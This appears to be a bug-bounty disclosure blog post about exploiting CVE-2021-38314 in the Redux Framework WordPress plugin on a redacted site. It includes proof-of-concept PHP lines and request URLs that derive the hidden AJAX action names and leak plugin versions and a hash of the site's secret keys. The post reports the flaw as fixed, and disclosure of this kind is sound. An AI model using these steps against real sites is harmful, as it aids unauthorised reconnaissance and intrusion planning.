Unauthenticated Sensitive Information Disclosure at [REDACTED]
Hello InfoSec Community, I want to share my submission about this vulnerability, sorry for bad writing, still learning ✌
During my research, I was found the subdomain https://blog.redacted.com/ is vulnerable with Unauthenticated Sensitive Information Disclosure (CVE-2021–38314).
The Gutenberg Template Library & Redux Framework plugin <= 4.2.11 for WordPress registered several AJAX actions available to unauthenticated users in the `includes` function in `redux-core/class-redux-core.php` that were unique to a given site but deterministic and predictable given that they were based on an md5 hash of the site URL with a known salt value of ‘-redux’ and an md5 hash of the previous hash with a known salt value of ‘-support’.
These AJAX actions could be used to retrieve a list of active plugins and their versions, the site’s PHP version, and an unsalted md5 hash of site’s `AUTH_KEY` concatenated with the `SECURE_AUTH_KEY`.
Proof of Concept:
1. Found subdomain blog.redacted.com is using wordpress, then try the CVE-2021–38314
2. Using this script
$target = “https://blog.redacted.com";
$key1 = md5(“$target/-redux”);
$key2 = file_get_contents(“$target/wp-admin/admin-ajax.php?action=$key1”);
3. It returns e24eb61b09bf2340779b35xxxxxxxxxx a hash of the auth_key_secret_key with “-redux” appended.
4. Append “-support” and md5 it again and thats the new function hook name.
$key3 = md5($key2.’-support’);
5. Then get the hash 1505d4269113e1bda36c47xxxxxxxxxx
$redux_code = b1mzZ3%2BU0p43TZ6%2F7QJaYU0hJMHgdcT5Bc%2Bnyo4t3xUenDRm0Ef8HipC7EMKSdtpw8g65XZjxxxxxxxxxxxxxxxxxxxx
7. Final URL https://blog.redacted.com/wp-admin/admin-ajax.php?action=1505d4269113e1bda36c47xxxxxxxxxx&code=b1mzZ3%2BU0p43TZ6%2F7QJaYU0hJMHgdcT5Bc%2Bnyo4t3xUenDRm0Ef8HipC7EMKSdtpw8g65XZjxxxxxxxxxxxxxxxxxxxx
Here is the PHP full script
Attacker can retrieve sensitive information such as a list of active plugins and their versions, the site’s PHP version, and an unsalted md5 hash of site’s `AUTH_KEY` concatenated with the `SECURE_AUTH_KEY`. This would be most useful in cases where a separate plugin with an additional vulnerability was installed, as an attacker could use the information to save time and plan an intrusion.
8 Nov 2021: Report
11 Nov 2021: Fixed